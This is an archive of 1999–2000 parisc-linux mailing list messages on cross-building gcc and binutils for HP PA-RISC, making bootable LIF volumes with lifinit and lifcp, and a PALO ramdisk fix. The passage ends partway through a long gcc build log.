Message-ID: <Pine.BSO.4.21.0003211437430.8233-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618848 31583 80.91.229.3 (22 Nov 2014 01:14:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Tue Mar 21 13:43:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA30999
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Mar 2000 13:43:22 -0700
Original-Received: (qmail 1581 invoked by uid 15267); 21 Mar 2000 19:44:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1568 invoked from network); 21 Mar 2000 19:44:53 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 21 Mar 2000 19:44:53 -0000
Original-Received: (qmail 21566 invoked from network); 21 Mar 2000 19:44:51 -0000
Original-Received: from mojo.calyx.net (HELO mojo) (igug1kp8rxig2dj9p6tj@208.132.136.2)
  by mail.calyx.net with SMTP; 21 Mar 2000 19:44:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:7074


I'm back to trying to get things to build on my ALPHA.
I've got binutils built and installed (even managed to 
trick the debian packaging scripts into making a package 
w/o ld :)

gcc currently fails thusly -- which is better than the
way it used to fail before I just updated from cvs.  Is
this arch specific or is the assembly stuff still a moving
target?

/usr/src/parisc/gcc/gcc/xgcc -B/usr/src/parisc/gcc/gcc/
-B/usr/src/parisc/hppa1.1-linux/bin/
-I/usr/src/parisc/hppa1.1-linux/include -DCROSS_COMPILE -DIN_GCC
-DMULTIBYTE_CHARS=1   -g -O2  -I./include  -c dummy.c
/tmp/cc0ujkeP.s: Assembler messages:
/tmp/cc0ujkeP.s:1: Error: Bad expression
/tmp/cc0ujkeP.s:1: Warning: Missing string
/tmp/cc0ujkeP.s:1: Error: Rest of line ignored. First ignored character is
`d'.
/tmp/cc0ujkeP.s:1: Error: Rest of line ignored. First ignored character is
`.'.
/tmp/cc0ujkeP.s:28: Error: Unknown pseudo-op:  `.export'
/tmp/cc0ujkeP.s:30: Error: unknown opcode `__foo'
/tmp/cc0ujkeP.s:31: Error: Rest of line ignored. First ignored character
is `-'.
/tmp/cc0ujkeP.s:33: Error: unknown opcode `__foo'
/tmp/cc0ujkeP.s:34: Warning: Expected comma after name ""
/tmp/cc0ujkeP.s:34: Warning: unhandled: .proc
 .CALLINFO FRAME=0,NO_CALLS
 .ENTRY
 bv,n %r0(%r2)
 .EXIT
 .PROCEND
.Lfe1:
 .size __foo,.Lfe1-__foo
.Lscope0:
 .stabs "",36,0,0,.Lscope0-__foo
 .text
 .stabs "",100,0,0,Letext
Letext:
 .ident "GCC: (GNU) 2.9-hppa-991112"
,0
/tmp/cc0ujkeP.s:34: Error: Rest of line ignored. First ignored character
is `.'.
/tmp/cc0ujkeP.s:35: Error: Unknown pseudo-op:  `.entry'
/tmp/cc0ujkeP.s:36: Error: syntax error
/tmp/cc0ujkeP.s:37: Error: Unknown pseudo-op:  `.exit'
/tmp/cc0ujkeP.s:38: Error: Unknown pseudo-op:  `.procend'
make[1]: *** [libgcc1.null] Error 1


--
Brian S. Julin


From - Thu Nov 08 21:12:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc gcc compile on ALPHA
Date: Tue, 21 Mar 2000 16:16:33 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20000321161633.J3211@thepuffingroup.com>
References: <Pine.BSO.4.21.0003211437430.8233-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618848 31587 80.91.229.3 (22 Nov 2014 01:14:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: willy@thepuffingroup.com  Tue Mar 21 14:15:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA31550
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Mar 2000 14:15:49 -0700
Original-Received: (qmail 28413 invoked by uid 15267); 21 Mar 2000 20:17:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28401 invoked from network); 21 Mar 2000 20:17:19 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 21 Mar 2000 20:17:19 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id QAA08424;
	Tue, 21 Mar 2000 16:16:33 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.BSO.4.21.0003211437430.8233-100000@mojo.calyx.net>; from Brian S. Julin on Tue, Mar 21, 2000 at 02:44:50PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7075

On Tue, Mar 21, 2000 at 02:44:50PM -0500, Brian S. Julin wrote:
> 
> I'm back to trying to get things to build on my ALPHA.
> I've got binutils built and installed (even managed to 
> trick the debian packaging scripts into making a package 
> w/o ld :)

but... ld works fine in the latest binutils.  From your error message,
it looks like you aren't using ELF binutils.  When did you last update
your binutils package?


From - Thu Nov 08 21:12:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO and ramdisk micro-howto
Date: Tue, 21 Mar 2000 14:40:02 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <E12XWNe-0002YK-00@endor.fc.hp.com>
References: <E12XSiA-00022u-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618849 31589 80.91.229.3 (22 Nov 2014 01:14:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Tue Mar 21 15:38:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA32357
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Mar 2000 15:38:33 -0700
Original-Received: (qmail 32764 invoked by uid 15267); 21 Mar 2000 21:40:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32756 invoked from network); 21 Mar 2000 21:40:04 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 21 Mar 2000 21:40:04 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by palrel1.hp.com (Postfix) with ESMTP id 0B29C39D
	for <parisc-linux@thepuffingroup.com>; Tue, 21 Mar 2000 13:40:03 -0800 (PST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12XWNe-0002YK-00; Tue, 21 Mar 2000 14:40:02 -0700
In-reply-to: Your message of "Tue, 21 Mar 2000 10:44:58 MST."
             <E12XSiA-00022u-00@endor.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7076


= I tried both the old ramdisk, and I turned willy's nfsroot into a
                                             ^^^^^ mkp's
= ramdisk, and both booted and loaded but died with that
= 'Kernel panic: Attempted to kill init!' message.  Looks like sash is
= being started with some args it doesn't like and exiting with a usage
= message.

Fixed by new palo/ipl.c


From - Thu Nov 08 21:12:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Boot #4 and source on ftp site
Date: Fri, 12 Mar 1999 22:46:37 -0800 (PST)
Lines: 40
Approved: news@gmane.org
Message-ID: <199903130646.WAA21078@meow.sr.hp.com>
References: <Pine.LNX.3.96.990312211042.208B-100000@quark.ix.netcom.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618849 31592 80.91.229.3 (22 Nov 2014 01:14:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:09 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Sat Mar 13 01:47:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id BAA08951
	for <hppa-linux@sod.res.cmu.edu>; Sat, 13 Mar 1999 01:47:26 -0500
Original-Received: (qmail 29373 invoked by uid 15267); 13 Mar 1999 06:47:09 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 29366 invoked from network); 13 Mar 1999 06:47:09 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 13 Mar 1999 06:47:09 -0000
Original-Received: from srmail.sr.hp.com (srmail.sr.hp.com [15.4.45.14])
	by atlrel2.hp.com (8.8.6 (PHNE_14041)/8.8.5tis) with ESMTP id BAA06597
	for <hppa-linux@thepuffingroup.com>; Sat, 13 Mar 1999 01:47:11 -0500 (EST)
Original-Received: from meow.sr.hp.com by srmail.sr.hp.com with ESMTP
	(1.37.109.16/15.5+ECS 3.3) id AA188677640; Fri, 12 Mar 1999 22:47:20 -0800
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id WAA21078 for hppa-linux@thepuffingroup.com; Fri, 12 Mar 1999 22:46:37 -0800 (PST)
In-Reply-To: <Pine.LNX.3.96.990312211042.208B-100000@quark.ix.netcom.com> from Kumar at "Mar 12, 1999  9:21:36 pm"
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7077

> 	
> 	I  compiled without libmilli.a and it did compile.
> 	File ipl_s.s says 
> 	The object code is converted to LIF (logical interchange format)
> 	and then at the beginning of the boot media.
> 
> 	So how do I convert the binary "ipl" to LIF. I tried "lifinit"
> 	and "mkboot" combination. But no luck, I keep getting 
> 	
> 	"Bad IPL size" and "Error reading IPL" error messages. 
> 
> 	I tried "dd" also on the raw disk. No luck with that either.
> 
> 	So my question is how to place built "ipl" binary at the
> 	appropriate place on the disk so that PDC finds it. Any magic
> 	combination of commands ? Looks like I am missing something
> 	obvious.
> 
> 
> Thanks in advance,
> 
> -pkd

You are on the right track.  After lifinit you have to use lifcp to copy
the file into the newly created LIF volume.  You also have to give it
the correct file type.  A script I use for creating bootable LIF
volumes looks something like:

#! /bin/ksh -x
LIF_FILE=uxbootlf
/bin/rm -f $LIF_FILE

lifinit `./iplopt ISL` -v8000000 -d32 -nL2DIAG -K2 -s4096 $LIF_FILE

lifcp -r -T-12800  -K2 ISL             $LIF_FILE:ISL
lifcp -r -T-12289  -K2 AUTO            $LIF_FILE:AUTO
lifcp -r -T-12928  -K2 HPUX            $LIF_FILE:HPUX

	-Bill


From - Thu Nov 08 21:12:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] building hppa2.0 toolchain
Date: Wed, 22 Mar 2000 12:55:41 -0800 (PST)
Lines: 377
Approved: news@gmane.org
Message-ID: <200003222055.MAA19735@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618849 31605 80.91.229.3 (22 Nov 2014 01:14:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Mar 22 14:52:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA09848
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Mar 2000 14:52:21 -0700
Original-Received: (qmail 24408 invoked by uid 15267); 22 Mar 2000 20:53:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24385 invoked from network); 22 Mar 2000 20:53:34 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 22 Mar 2000 20:53:34 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP id A8F4AE3E2
	for <parisc-linux@thepuffingroup.com>; Wed, 22 Mar 2000 15:53:33 -0500 (EST)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id MAA19735 for parisc-linux@thepuffingroup.com; Wed, 22 Mar 2000 12:55:41 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:7078

Hi all,
I was trying to build the hppa2.0 toolchain after it was
suggested the recipe at http://www.thepuffingroup.com/parisc/recipe.html
worked (except s/hppa1.1/hppa2.0/).

I used "--prefix=/opt/puffin64" to configure and the binutils seemed
to make and install with no problem. PATH is:

    /opt/puffin64/bin:/opt/socks/bin:/opt/puffin/bin:/opt/gcc/bin: \
    /opt/binutils/bin:/home/grundler/bin:/bin:/usr/bin:/usr/contrib/bin: \
    /usr/local/bin:/usr/vue/bin:/usr/bin/X11:/usr/contrib/bin/X11: \
    /usr/local/bin/X11:/usr/local/bin/mh:/usr/local/games:/opt/wt/bin:/etc:.

I got as far as step 3. "Configure and build GCC:". The "make"
dies. Anyone trying this as well? Or know what's wrong?

thanks,
grant

grundler<509>make
[ stuff scrolled off ]

gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -W -Wall    -I. -I.. -I../../../gcc/gcc/cp -I../../../gcc/gcc/cp/.. -I../../../gcc/gcc/cp/../config -I../../../gcc/gcc/cp/../../include ../../../gcc/gcc/cp/tree.c
In file included from ../tm.h:12,
                 from ../../../gcc/gcc/cp/../config/pa/xm-pahpux.h:47,
                 from ../config.h:8,
                 from ../../../gcc/gcc/cp/tree.c:22:
../../../gcc/gcc/cp/../config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../../gcc/gcc/cp/../config/pa/linux.h:66: warning: this is the location of the previous definition
../../../gcc/gcc/cp/../config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../../gcc/gcc/cp/../config/svr4.h:424: warning: this is the location of the previous definition
../../../gcc/gcc/cp/../config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../../gcc/gcc/cp/../config/svr4.h:621: warning: this is the location of the previous definition
../../../gcc/gcc/cp/../config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../../gcc/gcc/cp/../config/svr4.h:631: warning: this is the location of the previous definition
../../../gcc/gcc/cp/tree.c: In function `init_cplus_unsave':
../../../gcc/gcc/cp/tree.c:2854: warning: assignment from incompatible pointer type
gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -W -Wall    -I. -I.. -I../../../gcc/gcc/cp -I../../../gcc/gcc/cp/.. -I../../../gcc/gcc/cp/../config -I../../../gcc/gcc/cp/../../include ../../../gcc/gcc/cp/xref.c
In file included from ../tm.h:12,
                 from ../../../gcc/gcc/cp/../config/pa/xm-pahpux.h:47,
                 from ../config.h:8,
                 from ../../../gcc/gcc/cp/xref.c:23:
../../../gcc/gcc/cp/../config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../../gcc/gcc/cp/../config/pa/linux.h:66: warning: this is the location of the previous definition
../../../gcc/gcc/cp/../config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../../gcc/gcc/cp/../config/svr4.h:424: warning: this is the location of the previous definition
../../../gcc/gcc/cp/../config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../../gcc/gcc/cp/../config/svr4.h:621: warning: this is the location of the previous definition
../../../gcc/gcc/cp/../config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../../gcc/gcc/cp/../config/svr4.h:631: warning: this is the location of the previous definition
gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -W -Wall    -I. -I.. -I../../../gcc/gcc/cp -I../../../gcc/gcc/cp/.. -I../../../gcc/gcc/cp/../config -I../../../gcc/gcc/cp/../../include ../../../gcc/gcc/cp/repo.c
In file included from ../tm.h:12,
                 from ../../../gcc/gcc/cp/../config/pa/xm-pahpux.h:47,
                 from ../config.h:8,
                 from ../../../gcc/gcc/cp/repo.c:28:
../../../gcc/gcc/cp/../config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../../gcc/gcc/cp/../config/pa/linux.h:66: warning: this is the location of the previous definition
../../../gcc/gcc/cp/../config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../../gcc/gcc/cp/../config/svr4.h:424: warning: this is the location of the previous definition
../../../gcc/gcc/cp/../config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../../gcc/gcc/cp/../config/svr4.h:621: warning: this is the location of the previous definition
../../../gcc/gcc/cp/../config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../../gcc/gcc/cp/../config/svr4.h:631: warning: this is the location of the previous definition
gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -W -Wall    -I. -I.. -I../../../gcc/gcc/cp -I../../../gcc/gcc/cp/.. -I../../../gcc/gcc/cp/../config -I../../../gcc/gcc/cp/../../include ../../../gcc/gcc/cp/dump.c
In file included from ../tm.h:12,
                 from ../../../gcc/gcc/cp/../config/pa/xm-pahpux.h:47,
                 from ../config.h:8,
                 from ../../../gcc/gcc/cp/dump.c:25:
../../../gcc/gcc/cp/../config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../../gcc/gcc/cp/../config/pa/linux.h:66: warning: this is the location of the previous definition
../../../gcc/gcc/cp/../config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../../gcc/gcc/cp/../config/svr4.h:424: warning: this is the location of the previous definition
../../../gcc/gcc/cp/../config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../../gcc/gcc/cp/../config/svr4.h:621: warning: this is the location of the previous definition
../../../gcc/gcc/cp/../config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../../gcc/gcc/cp/../config/svr4.h:631: warning: this is the location of the previous definition
gcc -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -W -Wall  -o ../cc1plus `cat ../stamp-objlist` ../c-common.o ../c-pragma.o call.o decl.o errfn.o expr.o pt.o typeck2.o class.o decl2.o error.o lex.o parse.o ptree.o rtti.o spew.o typeck.o cvt.o except.o friend.o init.o method.o search.o semantics.o tree.o xref.o repo.o dump.o  `if [ xobstack.o != x ]; then echo ../obstack.o; else true; fi` `if [ xalloca.o != x ]; then echo ../alloca.o; else true; fi` `if [ x != x ]; then echo ../; else true; fi`   ../../libiberty/libiberty.a
make[2]: Leaving directory `/linux/grundler/gcc-build/gcc/cp'
gcc -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H    -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include  \
-DTARGET_MACHINE=\"hppa2.0-linux\"  \
-c `echo ../../gcc/gcc/collect2.c | sed 's,^\./,,'`
In file included from tm.h:12,
                 from ../../gcc/gcc/config/pa/xm-pahpux.h:47,
                 from config.h:8,
                 from ../../gcc/gcc/collect2.c:28:
../../gcc/gcc/config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../gcc/gcc/config/pa/linux.h:66: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../gcc/gcc/config/svr4.h:424: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:621: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:631: warning: this is the location of the previous definition
gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H    -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include ../../gcc/gcc/tlink.c
In file included from tm.h:12,
                 from ../../gcc/gcc/config/pa/xm-pahpux.h:47,
                 from config.h:8,
                 from ../../gcc/gcc/tlink.c:24:
../../gcc/gcc/config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../gcc/gcc/config/pa/linux.h:66: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../gcc/gcc/config/svr4.h:424: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:621: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:631: warning: this is the location of the previous definition
echo "int xxy_us_dummy;" >tmp-dum.c
/linux/grundler/gcc-build/gcc/xgcc -B/linux/grundler/gcc-build/gcc/ -B/opt/puffin64/hppa2.0-linux/bin/ -I/opt/puffin64/hppa2.0-linux/include -S tmp-dum.c
echo '/*WARNING: This file is automatically generated!*/' >tmp-under.c
if grep _xxy_us_dummy tmp-dum.s > /dev/null ; then \
  echo "int prepends_underscore = 1;" >>tmp-under.c; \
else \
  echo "int prepends_underscore = 0;" >>tmp-under.c; \
fi
../../gcc/gcc/move-if-change tmp-under.c underscore.c
rm -f tmp-dum.c tmp-dum.s
touch s-under
gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H    -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include underscore.c
rm -f collect2
gcc -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H  -o collect2 collect2.o tlink.o hash.o intl.o underscore.o version.o  obstack.o alloca.o       ../libiberty/libiberty.a
cp xgcc gcc-cross
/linux/grundler/gcc-build/gcc/xgcc -B/linux/grundler/gcc-build/gcc/ -B/opt/puffin64/hppa2.0-linux/bin/ -I/opt/puffin64/hppa2.0-linux/include -dumpspecs > tmp-specs
mv tmp-specs specs
touch stmp-headers
if [ -d /opt/puffin64/hppa2.0-linux/sys-include ]; \
then \
  CC="/linux/grundler/gcc-build/gcc/xgcc -B/linux/grundler/gcc-build/gcc/ -B/opt/puffin64/hppa2.0-linux/bin/ -I/opt/puffin64/hppa2.0-linux/include -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2  -I./include     -I. -I../../gcc/gcc -Iinclude -I/opt/puffin64/hppa2.0-linux/sys-include"; \
  export CC; \
  /bin/sh ../../gcc/gcc/scan-types.sh "../../gcc/gcc" >tmp-deduced.h; \
  mv tmp-deduced.h deduced.h; \
else \
  touch deduced.h; \
fi
gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H    -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include ../../gcc/gcc/gen-protos.c
In file included from tm.h:12,
                 from ../../gcc/gcc/config/pa/xm-pahpux.h:47,
                 from hconfig.h:8,
                 from ../../gcc/gcc/gen-protos.c:18:
../../gcc/gcc/config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../gcc/gcc/config/pa/linux.h:66: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../gcc/gcc/config/svr4.h:424: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:621: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:631: warning: this is the location of the previous definition
gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H    -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include ../../gcc/gcc/scan.c
In file included from tm.h:12,
                 from ../../gcc/gcc/config/pa/xm-pahpux.h:47,
                 from hconfig.h:8,
                 from ../../gcc/gcc/scan.c:18:
../../gcc/gcc/config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../gcc/gcc/config/pa/linux.h:66: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../gcc/gcc/config/svr4.h:424: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:621: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:631: warning: this is the location of the previous definition
gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H    -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include ../../gcc/gcc/cpplib.c
In file included from tm.h:12,
                 from ../../gcc/gcc/config/pa/xm-pahpux.h:47,
                 from config.h:8,
                 from ../../gcc/gcc/cpplib.c:21:
../../gcc/gcc/config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../gcc/gcc/config/pa/linux.h:66: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../gcc/gcc/config/svr4.h:424: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:621: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:631: warning: this is the location of the previous definition
gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H    -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include ../../gcc/gcc/cpphash.c
In file included from tm.h:12,
                 from ../../gcc/gcc/config/pa/xm-pahpux.h:47,
                 from config.h:8,
                 from ../../gcc/gcc/cpphash.c:25:
../../gcc/gcc/config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../gcc/gcc/config/pa/linux.h:66: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../gcc/gcc/config/svr4.h:424: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:621: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:631: warning: this is the location of the previous definition
gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H    -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include ../../gcc/gcc/cppalloc.c
In file included from tm.h:12,
                 from ../../gcc/gcc/config/pa/xm-pahpux.h:47,
                 from config.h:8,
                 from ../../gcc/gcc/cppalloc.c:25:
../../gcc/gcc/config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../gcc/gcc/config/pa/linux.h:66: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
